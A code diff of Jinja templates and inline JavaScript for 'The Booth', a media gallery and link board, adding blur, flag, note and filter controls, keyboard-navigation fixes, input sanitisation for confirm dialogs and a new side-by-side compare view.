{% from "_lifetime.html" import lifetime %}
|
||||
{% from "_dates.html" import dates %}
|
||||
{# The blur toggle, defined ONCE. There are three item branches in this file
|
||||
(doc / media / other) and the first cut of this feature patched only one of
|
||||
them, so docs rendered with no control at all. A macro makes "patched two of
|
||||
three" impossible rather than merely unlikely. #}
|
||||
{% macro blurtoggle(name_url, it, cls='') -%}
|
||||
{# Blurred only because the whole booth is (r2b D2b): say so, and offer no
|
||||
per-item un-blur — the booth flag would keep it blurred, so the control
|
||||
would do nothing visible. The header un-blurs the booth. #}
|
||||
{% if it.blurred and not it.blurred_self %}
|
||||
<span class="blurtoggle blur-by-booth {{ cls }}" title="blurred with the whole booth — un-blur the booth in the header">◉ booth</span>
|
||||
{% else %}
|
||||
<form class="blurtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/blur">
|
||||
<input type="hidden" name="f" value="{{ it.name }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if it.blurred else '1' }}">
|
||||
<button title="{{ 'un-blur this item' if it.blurred else 'blur this item — cosmetic only, the file is still served' }}"
|
||||
aria-label="{{ 'un-blur' if it.blurred else 'blur' }} {{ it.name }}"
|
||||
>{{ '◉ blurred' if it.blurred else '◌ blur' }}</button>
|
||||
<input type="hidden" name="on" value="{{ '0' if it.blurred_self else '1' }}">
|
||||
<button title="{{ 'un-blur this item' if it.blurred_self else 'blur this item — cosmetic only, the file is still served' }}"
|
||||
aria-label="{{ 'un-blur' if it.blurred_self else 'blur' }} {{ it.name }}"
|
||||
>{{ '◉ blurred' if it.blurred_self else '◌ blur' }}</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
{%- endmacro %}
|
||||
|
||||
{# The per-item MARK controls: flag (the operator pointing at this one) and a
|
||||
note field. Same macro discipline as blurtoggle above — three item branches,
|
||||
one definition. `marks` here is THIS item's marks, from item_marks. #}
|
||||
{% macro markcontrols(name_url, it, marks, cls='') -%}
|
||||
{% set flagged = marks | selectattr('shape', 'equalto', 'flag') | list | length > 0 %}
|
||||
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag">
|
||||
{# THE flag predicate (flagged_targets), shared with every other surface #}
|
||||
{% set flagged = it.name in flagged_set %}
|
||||
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ it.name }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<button title="{{ 'un-flag this item' if flagged else 'flag this one — the session that posted it can read the selection' }}"
|
||||
@@ -37,7 +46,7 @@
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="item-note" id="mark-{{ m.id }}">
|
||||
<pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
@@ -45,7 +54,7 @@
|
||||
{% endfor %}
|
||||
<details class="item-addnote">
|
||||
<summary>+ note</summary>
|
||||
<form method="post" action="/b/{{ name_url }}/note">
|
||||
<form method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ it.name }}">
|
||||
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
|
||||
<button type="submit">Add</button>
|
||||
@@ -53,7 +62,15 @@
|
||||
</details>
|
||||
{%- endmacro %}
|
||||
|
||||
{# R2 C1: an item's number in the WHOLE set, zero-padded to the set's width so
|
||||
a column of them lines up. Width reads `all_items`, never the filtered list:
|
||||
a filter must not change how a number is written any more than which. #}
|
||||
{% macro ordinal(it) -%}
|
||||
<span class="ord" data-ordinal="{{ it.ordinal }}">#{{ "%0*d"|format((all_items|length|string|length), it.ordinal) }}</span>
|
||||
{%- endmacro %}
|
||||
|
||||
{% block title %}{{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
<div class="boothhead">
|
||||
<a class="back" href="/">‹ all booths</a>
|
||||
@@ -66,7 +83,9 @@
|
||||
{% else %}
|
||||
<h1>{{ name }}</h1>
|
||||
{% endif %}
|
||||
<span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span>
|
||||
{# The open count and the lifetime line depend on marks, so they are a region
|
||||
(R2 C3): answering the last pick in place must not leave "1 open" behind. #}
|
||||
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span></span>
|
||||
{% if items %}<a class="dl-link" href="/b/{{ name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>{% endif %}
|
||||
{{ provenance(manifest) }}
|
||||
{# A durable multi-writer board gets no one-click wipe — same rule as the
|
||||
@@ -84,6 +103,23 @@
|
||||
<input type="hidden" name="next" value="/b/{{ name_url }}/">
|
||||
<button title="keep — exempt from the TTL sweep">☆ keep</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
{# r2b D2b + D2: the booth-wide blur controls, outside every data-region.
|
||||
The fog is server state for every viewer and a plain form (works with
|
||||
scripts off); its label says what IS. Reveal all lifts it for this tab
|
||||
only, and is markup only when something here is blurred. A BOARD gets
|
||||
them too when it holds files: only the one-click wipe is board-suppressed,
|
||||
and an item's "◉ booth" label points here. #}
|
||||
{% if all_items %}
|
||||
{# The fog form IS a region: its label is server state, so an in-place save
|
||||
refreshes it with everything else (a fog set elsewhere since this page
|
||||
loaded would otherwise leave it saying "blur booth"). Reveal all is not:
|
||||
its state lives in this tab, and a swap must never reset it. #}
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item blur stays as it was' if booth_blurred else 'blur every image and video in this booth — cosmetic only, the files are still served' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
|
||||
</form></span>
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
{% endif %}
|
||||
{% if not board %}
|
||||
<form class="wipe wipe-lg" method="post" action="/b/{{ name_url }}/delete"
|
||||
@@ -109,8 +145,17 @@
|
||||
a gallery, and the add-note control would be noise on it — but the
|
||||
suppression was unconditional, so a pick declared on a booth that happens to
|
||||
carry a links.md had no form to answer it and nothing said so. #}
|
||||
{% if marks or not board %}
|
||||
{# R2 C5: on a GALLERY booth the panel moves into the verdict aside beside the
|
||||
set (below). It renders up here only where there is no set to sit beside —
|
||||
a board, or a booth with marks and nothing to show. #}
|
||||
{# `is_board`, not `board`: PAGE IDENTITY, not page content — the lesson the
|
||||
bench panel already learned. `board` is the parsed rows, empty for a
|
||||
links.md with none, and a board with an image in it must still be a board. #}
|
||||
{% set lightbox = all_items and not is_board %}
|
||||
{% if (marks or not board) and not lightbox %}
|
||||
<div class="marks-panel" data-region="marks-panel">
|
||||
{% include "_marks.html" %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{# THE BENCH REGISTRY — BLOCK LEVEL, and that placement is load-bearing.
|
||||
@@ -221,7 +266,13 @@
|
||||
name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}"
|
||||
title="{{ 'unpin' if e.pinned else 'pin to top' }}">{{ '★' if e.pinned else '☆' }}</button>
|
||||
<div class="board-main">
|
||||
<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
{% if e.safe %}<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
{%- else -%}
|
||||
{# Refused, not hidden: the operator should see that something was posted
|
||||
and that we would not link it. `is_safe_href` decides, in links.py. #}
|
||||
<span class="board-link board-unsafe" title="refused: not an http(s) link">{{ e.desc }}</span>
|
||||
<span class="board-dead-tag">unsafe link refused</span>
|
||||
{%- endif %}
|
||||
<div class="board-url">{{ e.url }}{% if e.dead %} <span class="board-dead-tag">booth is gone</span>{% endif %}</div>
|
||||
</div>
|
||||
<div class="board-meta">
|
||||
@@ -237,9 +288,31 @@
|
||||
</form>
|
||||
{% endif %}
|
||||
|
||||
{% if not items and not board and not marks %}
|
||||
{# ⚠ THE RAIL IS GATED ON `all_items`, NOT `items`, AND THAT IS THE WHOLE
|
||||
POINT. `items` is the FILTERED list, so gating on it meant a valid filter
|
||||
with zero hits removed the rail, the filter links and the only way back to
|
||||
`all` — while the empty-booth branch below announced the booth was empty
|
||||
with `rail.total` still holding the real count. No recovery without editing
|
||||
the address bar, and it failed the same way with JavaScript off, on the
|
||||
surface the operator actually reviews on.
|
||||
|
||||
Found by the heid bug-hunt panel (gróa, 2026-09-22), whose own note called
|
||||
it the finding most likely to bite users this week. #}
|
||||
{% if not all_items and not board and not marks %}
|
||||
<div class="empty">This booth is empty.</div>
|
||||
{% elif items %}
|
||||
{% elif all_items %}
|
||||
{# THE LIGHTBOX (R2 C5). The verdict aside comes FIRST in the document and the
|
||||
set second: on a narrow screen that is the stacking the contract wants
|
||||
(the question above the work), and on a wide one the grid areas in
|
||||
base.html put the aside on the right. Placement, not order — nothing in an
|
||||
ordered collection moves. #}
|
||||
{% if lightbox %}
|
||||
<div class="lightbox">
|
||||
<aside class="verdict" data-region="verdict" aria-label="your verdict">
|
||||
{% include "_marks.html" %}
|
||||
</aside>
|
||||
<div class="lb-set">
|
||||
{% endif %}
|
||||
{# `elif items` and not a bare `else`: a board booth has NO gallery items (its
|
||||
links.md is rendered as the board above and filtered out), so a plain else
|
||||
would emit an empty <div class="gallery"> under the board. #}
|
||||
@@ -256,7 +329,7 @@
|
||||
is therefore the whole guard; the two degenerate cases (one group for
|
||||
everything, one group per item) are decided in Python, where they can be
|
||||
measured, rather than by a count in a template. #}
|
||||
<div class="rail">
|
||||
<div class="rail" data-region="filters">
|
||||
<span class="rail-total">{{ rail.total }} item{{ '' if rail.total == 1 else 's' }}</span>
|
||||
{% for f in rail.counts %}
|
||||
<a class="rail-f{% if f.key == filter %} on{% endif %}"
|
||||
@@ -276,14 +349,27 @@
|
||||
</nav>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% if not items %}
|
||||
{# An empty FILTER, not an empty booth. The rail above is still rendered, so
|
||||
the way back to `all` is one click. #}
|
||||
<div class="empty">No items match the <b>{{ filter }}</b> filter.
|
||||
<a href="/b/{{ name_url }}/">show all {{ rail.total }}</a></div>
|
||||
{% endif %}
|
||||
{% set group_n = {} %}{% for g in rail.groups %}{% set _ = group_n.update({g.key: g.n}) %}{% endfor %}
|
||||
<div class="gallery" id="grid" tabindex="-1">
|
||||
{% for it in items %}
|
||||
{# R2 C5: an inline header before each group's FIRST tile, only when the
|
||||
rail thinks grouping is informative. A <div> spanning the grid, never a
|
||||
figure.item, so the keyboard and the order check are blind to it. #}
|
||||
{% if inline_groups and it.group and (loop.first or loop.previtem.group != it.group) %}
|
||||
<div class="grp-head" aria-hidden="true"><span class="grp-key">{{ it.group }}</span> <span class="grp-n">{{ group_n.get(it.group, '') }}</span></div>
|
||||
{% endif %}
|
||||
{% if it.doc and it.rendered is not none %}
|
||||
{# Docs render INLINE, collapsible, and closable — not a link to a
|
||||
separate page. <details open> is native collapse (works with JS off);
|
||||
the ✕ hides the item for the session (JS, progressive enhancement).
|
||||
The item spans the full grid width so prose has room to read. #}
|
||||
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.name }}">
|
||||
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
|
||||
{% if it.blurred %}
|
||||
{# Inline docs need this MORE than images, not less: a rendered doc puts
|
||||
its text straight on the page, so "blur the picture" logic that skips
|
||||
@@ -294,6 +380,7 @@
|
||||
<details class="doc-inline" open>
|
||||
<summary class="doc-bar">
|
||||
<span class="doc-chevron" aria-hidden="true">▸</span>
|
||||
{{ ordinal(it) }}
|
||||
<span class="doc-name">{{ it.name }}</span>
|
||||
<span class="doc-spacer"></span>
|
||||
<a class="doc-act" href="view?f={{ it.url }}" title="open full page">⤢</a>
|
||||
@@ -316,7 +403,8 @@
|
||||
</details>
|
||||
</figure>
|
||||
{% else %}
|
||||
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if item_marks.get(it.name, []) | selectattr('shape', 'equalto', 'flag') | list %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.name }}">
|
||||
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if it.name in flagged_set %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
|
||||
{{ ordinal(it) }}
|
||||
{% if it.blurred %}
|
||||
{# Click-to-reveal is per-viewer and client-side: nothing is persisted, so
|
||||
a reload re-hides it. No-JS degrades to STAYS BLURRED, which is the
|
||||
@@ -324,7 +412,7 @@
|
||||
<button type="button" class="reveal" aria-label="reveal {{ it.name }}">👁 reveal</button>
|
||||
{% endif %}
|
||||
{% if it.kind == 'image' %}
|
||||
<a href="view?f={{ it.url }}"><img loading="lazy" src="{{ it.url }}" alt="{{ it.name }}"></a>
|
||||
<a href="view?f={{ it.url }}"><img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="{{ it.name }}"></a>
|
||||
{% elif it.kind == 'video' %}
|
||||
{# preload="none": a booth of a dozen webms was fetching them
|
||||
all at page load ("metadata" still pulls real ranges per
|
||||
@@ -351,6 +439,10 @@
|
||||
<figcaption>
|
||||
<a class="dl-link" href="{{ it.url }}" download title="download {{ it.name }}">⬇</a>
|
||||
<span class="cap-text">{{ it.caption or it.name }}</span>
|
||||
{# R2: every MEDIA tile links into the review — a picture through its
|
||||
image, sound and video through this. Enter on the grid cursor
|
||||
follows the first `view` link on the tile. #}
|
||||
{% if it.kind in ('video', 'audio') %}<a class="rv-link" href="view?f={{ it.url }}" title="review at full size">⤢ review</a>{% endif %}
|
||||
{{ blurtoggle(name_url, it) }}
|
||||
{{ markcontrols(name_url, it, item_marks.get(it.name, [])) }}
|
||||
</figcaption>
|
||||
@@ -360,6 +452,10 @@
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if lightbox %}
|
||||
</div>{# .lb-set #}
|
||||
</div>{# .lightbox #}
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% if items %}
|
||||
@@ -386,6 +482,32 @@
|
||||
t[at].scrollIntoView({ block: 'nearest' });
|
||||
}
|
||||
function current() { var t = tiles(); return at >= 0 && at < t.length ? t[at] : null; }
|
||||
/* WHERE THE CURSOR STARTS WHEN THERE ISN'T ONE. Starting at tile 0
|
||||
unconditionally meant the first arrow key after ANY scroll yanked the
|
||||
viewport back to the top — and a group jump is a scroll, so `→` right
|
||||
after a jump silently undid it. Found by the heid bug-hunt panel (gróa),
|
||||
2026-09-22; the general scroll-then-arrow case is the same defect.
|
||||
|
||||
The first tile whose bottom edge clears the sticky rail is the one the
|
||||
reader is looking at, so that is where the cursor picks up. */
|
||||
function fromViewport() {
|
||||
/* ⚠ `.rail` IS A CROSS-FILE CONTRACT, read by two scripts in two files
|
||||
owned by two different agents: this one, and the --rail-h measuring
|
||||
script in base.html that publishes the rail's height for
|
||||
`scroll-margin-top` (the rail wraps, so no CSS number can know it).
|
||||
RENAMING IT BREAKS BOTH, and neither breaks loudly — this one falls back
|
||||
to treating the viewport top as the boundary and starts the cursor one
|
||||
tile too high; that one falls back to a fixed guess. base.html carries
|
||||
the mirror of this note above the `.rail` rule. Agreed with design-dev
|
||||
2026-09-23 during the SVOS retheme, which is the change that made the
|
||||
selector load-bearing in two places instead of one. */
|
||||
var t = tiles(), rail = document.querySelector('.rail');
|
||||
var top = rail ? rail.getBoundingClientRect().bottom : 0;
|
||||
for (var i = 0; i < t.length; i++) {
|
||||
if (t[i].getBoundingClientRect().bottom > top) return i;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
function click(sel) {
|
||||
var el = current(); if (!el) return;
|
||||
var b = el.querySelector(sel); if (b) b.click();
|
||||
@@ -396,10 +518,19 @@
|
||||
if (tag === 'input' || tag === 'textarea' || e.target.isContentEditable) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
switch (e.key) {
|
||||
case 'ArrowRight': focus(at + 1); e.preventDefault(); break;
|
||||
case 'ArrowLeft': focus(at <= 0 ? 0 : at - 1); e.preventDefault(); break;
|
||||
case 'f': click('.flagbtn, [name="target"]'); e.preventDefault(); break;
|
||||
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1); e.preventDefault(); break;
|
||||
case 'ArrowLeft': focus(at < 0 ? fromViewport() : at - 1); e.preventDefault(); break;
|
||||
/* `.flagbtn` never existed in this repo, so this fell through to the
|
||||
HIDDEN target input — and clicking a hidden input does not submit its
|
||||
form. `f` has never worked, while still swallowing the keystroke.
|
||||
Found by the heid bug-hunt panel (hulda), 2026-09-22. */
|
||||
case 'f': click('.flagtoggle button'); e.preventDefault(); break;
|
||||
case 'n': var el = current();
|
||||
/* The add-note field lives in a closed <details> (270 tiles
|
||||
must not each carry an open textarea); a closed one cannot
|
||||
take focus, so open it first. */
|
||||
var d = el && el.querySelector('details.item-addnote');
|
||||
if (d) d.open = true;
|
||||
if (el) { var f = el.querySelector('input[type=text], textarea');
|
||||
if (f) { f.focus(); e.preventDefault(); } }
|
||||
break;
|
||||
@@ -409,6 +540,13 @@
|
||||
at = -1; break;
|
||||
}
|
||||
});
|
||||
/* R2 C3: an in-place save swaps the tiles for fresh server-rendered ones,
|
||||
and the cursor is client state the server cannot render. Put it back on
|
||||
the same position — the order did not change, only the judgment. */
|
||||
document.addEventListener('booth:swapped', function () {
|
||||
if (at < 0) return;
|
||||
tiles().forEach(function (el, j) { el.classList.toggle('is-cursor', j === at); });
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endif %}
|
||||
@@ -445,17 +583,30 @@
|
||||
});
|
||||
})();
|
||||
|
||||
/* Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
|
||||
/* TILE CONTROLS, bound per node and RE-BOUND after an in-place swap (R2 C3):
|
||||
the swap puts fresh server-rendered tiles in the page, and a handler bound
|
||||
to the node it replaced goes with that node. `__bound` keeps a node from
|
||||
being bound twice.
|
||||
|
||||
Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
|
||||
inside <summary>, so without this its click would just toggle the <details>
|
||||
open/closed — stopPropagation + preventDefault make ✕ mean "close", not
|
||||
"collapse". Collapse stays available via the rest of the summary bar. With
|
||||
JS off the button is inert and collapse via <details> still works. */
|
||||
(function () {
|
||||
JS off the button is inert and collapse via <details> still works.
|
||||
|
||||
Blur reveal. WARNING: this handler previously sat after the content block's
|
||||
closing tag, which in a child template Jinja DISCARDS — the button rendered
|
||||
and did nothing, and two commits plus a README claimed click-to-reveal
|
||||
worked. Anything that must reach the page belongs inside the content
|
||||
block. Per-viewer and never persisted: a reload re-hides. */
|
||||
function bindTiles() {
|
||||
function once(el) { if (el.__bound) return false; el.__bound = true; return true; }
|
||||
/* A form inside <summary> would otherwise collapse the doc on submit. */
|
||||
document.querySelectorAll('.doc-bar .blurtoggle').forEach(function (f) {
|
||||
f.addEventListener('click', function (ev) { ev.stopPropagation(); });
|
||||
document.querySelectorAll('.doc-bar .blurtoggle, .doc-bar .flagtoggle').forEach(function (f) {
|
||||
if (once(f)) f.addEventListener('click', function (ev) { ev.stopPropagation(); });
|
||||
});
|
||||
document.querySelectorAll('.doc-close').forEach(function (btn) {
|
||||
if (!once(btn)) return;
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
@@ -463,8 +614,25 @@
|
||||
if (item) item.classList.add('is-closed');
|
||||
});
|
||||
});
|
||||
})();
|
||||
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
|
||||
var fig = btn.closest('.item');
|
||||
/* a swap carries `revealed` across (base.html); the label follows it */
|
||||
btn.textContent = fig.classList.contains('revealed') ? '🙈 hide' : '👁 reveal';
|
||||
if (!once(btn)) return;
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
var on = fig.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal';
|
||||
});
|
||||
});
|
||||
}
|
||||
bindTiles();
|
||||
document.addEventListener('booth:swapped', bindTiles);
|
||||
|
||||
/* RESTORED (heid bug-hunt, 2/4): R2's rewrite of the tile handlers above
|
||||
deleted this block with them. Its confirmations guard destructive
|
||||
actions, so it is back verbatim. */
|
||||
/* Link-board multi-select. PROGRESSIVE ENHANCEMENT: the checkboxes, the per-row
|
||||
× / ★, and the bulk 🗑 all submit as plain form POSTs with JS off — this only
|
||||
adds select-all, a live count, and disabling 🗑 when nothing is ticked. The
|
||||
@@ -509,10 +677,26 @@
|
||||
});
|
||||
}
|
||||
|
||||
/* ⚠ THE DIALOG'S TEXT IS WHAT THE OPERATOR APPROVES, and a board row's
|
||||
description and URL are written by any of seventeen agent handles. A bidi
|
||||
override (U+202E) or a newline in either REWRITES what he reads before
|
||||
consenting to a delete — the row shown is not the row removed. Escaping
|
||||
protects the PAGE; `confirm` renders a plain string and escaping does
|
||||
nothing for it.
|
||||
|
||||
Controls and bidi formatting render as U+FFFD: visibly mangled, never
|
||||
silently re-ordered. Same treatment and same helper shape as the wipe
|
||||
dialog on the Desk (design-dev, round Slate, who found this one too). */
|
||||
function shown(n) {
|
||||
return String(n).replace(
|
||||
/[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u202a-\u202e\u2066-\u2069]/g,
|
||||
'\ufffd');
|
||||
}
|
||||
|
||||
form.querySelectorAll('.board-rm-btn').forEach(function (btn) {
|
||||
btn.addEventListener('click', function (ev) {
|
||||
var d = btn.getAttribute('data-desc') || '';
|
||||
var u = btn.getAttribute('data-url') || '';
|
||||
var d = shown(btn.getAttribute('data-desc') || '');
|
||||
var u = shown(btn.getAttribute('data-url') || '');
|
||||
if (!confirm('Remove this link?\n\n' + d + '\n' + u + '\n\nThe rest of the board is untouched.')) {
|
||||
ev.preventDefault();
|
||||
}
|
||||
@@ -521,22 +705,5 @@
|
||||
|
||||
refresh();
|
||||
})();
|
||||
|
||||
/* Blur reveal. WARNING: this handler previously sat after the content
|
||||
block's closing tag, which in a
|
||||
child template Jinja DISCARDS — the button rendered and did nothing, and
|
||||
two commits plus a README claimed click-to-reveal worked. Anything that
|
||||
must reach the page belongs inside the content block. Verified now by
|
||||
grepping the SERVED html for this function, not the template for the text.
|
||||
Per-viewer and never persisted: a reload re-hides. */
|
||||
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
var fig = btn.closest('.item');
|
||||
var on = fig.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
|
||||
@@ -0,0 +1,273 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ sides.a.rel }} · {{ sides.b.rel }} · compare · {{ name }} · The Booth{% endblock %}
|
||||
{# data-booth: without it Reveal all's script and the head script's reveal
|
||||
restore both bail (r3 C6). #}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{# COMPARE (R3). Two items of the review ring side by side, one judgment each:
|
||||
flag the winner. The pair is two rels in the URL, always (INV-1); the active
|
||||
side and the linked stepping ride the URL as view state. Everything a mark
|
||||
can change is a `data-region` keyed by SIDE, never by rel (`a == b` would
|
||||
duplicate it) and never `item-` (the swap reads that as a stale tile). THE
|
||||
STAGES NEVER ARE: swapping one would restart a playing track.
|
||||
The root carries `review` so the review's blur, 1:1 and Reveal-all rules
|
||||
apply unchanged; `.compare` overrides its grid. #}
|
||||
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
|
||||
{% block content %}
|
||||
<div class="viewer review compare" data-linked="{{ '1' if linked else '0' }}">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="{{ back_url }}" title="back to the review of A (Esc)">✕</a>
|
||||
<span class="vname">compare <span class="cmp-vs"><span class="ord">{{ num(sides.a.ordinal) }}</span> · <span class="ord">{{ num(sides.b.ordinal) }}</span></span></span>
|
||||
<span class="vspacer"></span>
|
||||
<a class="vbtn cmp-step" data-step="both-prev" href="{{ steps.both_prev }}" title="both back (←)" aria-label="both back">‹‹</a>
|
||||
<a class="vbtn cmp-step" data-step="both-next" href="{{ steps.both_next }}" title="both forward (→)" aria-label="both forward">››</a>
|
||||
{# JS-only, like the stage toggle: without JS there are no keys to link,
|
||||
and the per-side and both-sides links above step either way. #}
|
||||
<button type="button" class="vbtn cmp-link" id="cmp-link" aria-pressed="{{ 'true' if linked else 'false' }}" hidden
|
||||
title="linked: ← and → move both sides (L)">{{ '⛓ linked' if linked else '⛓ unlinked' }}</button>
|
||||
{% if any_image %}
|
||||
<span class="vtoggle" id="vtoggle" hidden>
|
||||
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows (Z)">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" title="natural pixels — drag to pan; both stages pan together (Z)">1:1</button>
|
||||
</span>
|
||||
{% endif %}
|
||||
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
</div>
|
||||
|
||||
<div class="cmp-body">
|
||||
{% for key in ('a', 'b') %}{% set s = sides[key] %}{% set L = key | upper %}
|
||||
<section class="cmp-side{% if active == key %} is-active{% endif %}" data-side="{{ key }}" aria-label="side {{ L }}">
|
||||
<div class="cmp-head">
|
||||
<a class="cmp-step" data-step="{{ key }}-prev" href="{{ steps[key ~ '_prev'] }}" title="{{ L }} back" aria-label="{{ L }} back">‹</a>
|
||||
<div class="cmp-label" data-region="label-{{ key }}"><span class="cmp-letter">{{ L }}</span> <span class="ord">{{ num(s.ordinal) }}</span> <span class="cmp-name" title="{{ s.rel }}">{{ s.rel }}</span>{% if s.flagged %} <span class="cmp-flagged">✔ flagged</span>{% endif %}</div>
|
||||
<a class="cmp-step" data-step="{{ key }}-next" href="{{ steps[key ~ '_next'] }}" title="{{ L }} forward" aria-label="{{ L }} forward">›</a>
|
||||
<a class="cmp-review" href="{{ s.review }}" title="the full review of {{ s.rel }}">review {{ L }}</a>
|
||||
</div>
|
||||
<div class="cmp-stagewrap">
|
||||
<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}{% if s.blurred %} is-blurred{% endif %}" data-side="{{ key }}">
|
||||
{% if s.kind == 'image' %}<img src="{{ s.url }}" alt="{{ s.rel }}" draggable="false">
|
||||
{% elif s.kind == 'video' %}<video class="cmp-media" controls preload="metadata" src="{{ s.url }}"></video>
|
||||
{% else %}<audio class="cmp-media" controls preload="metadata" src="{{ s.url }}"></audio>
|
||||
{% endif %}
|
||||
</div>
|
||||
{# Over the stage, never inside its scrolled content; JS-only, so
|
||||
`hidden` until bound (the review's pattern). #}
|
||||
{% if s.blurred %}<button type="button" class="reveal cmp-reveal" data-side="{{ key }}" aria-label="reveal {{ L }}" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
|
||||
</div>
|
||||
<div class="cmp-foot">
|
||||
<div class="cmp-flag" data-region="flag-{{ key }}">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ s.rel }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if s.flagged else '1' }}">
|
||||
<input type="hidden" name="back" value="compare">
|
||||
<input type="hidden" name="a" value="{{ sides.a.rel }}">
|
||||
<input type="hidden" name="b" value="{{ sides.b.rel }}">
|
||||
<input type="hidden" name="side" value="{{ active }}">
|
||||
<input type="hidden" name="link" value="{{ '1' if linked else '0' }}">
|
||||
<button class="vbtn vflag-btn{% if s.flagged %} is-flagged{% endif %}" id="cmp-flag-{{ key }}"
|
||||
title="{{ 'un-flag' if s.flagged else 'flag' }} {{ L }} ({{ L }})">{{ '✔ flagged' if s.flagged else '○ flag' }} {{ L }} <kbd>{{ L }}</kbd></button>
|
||||
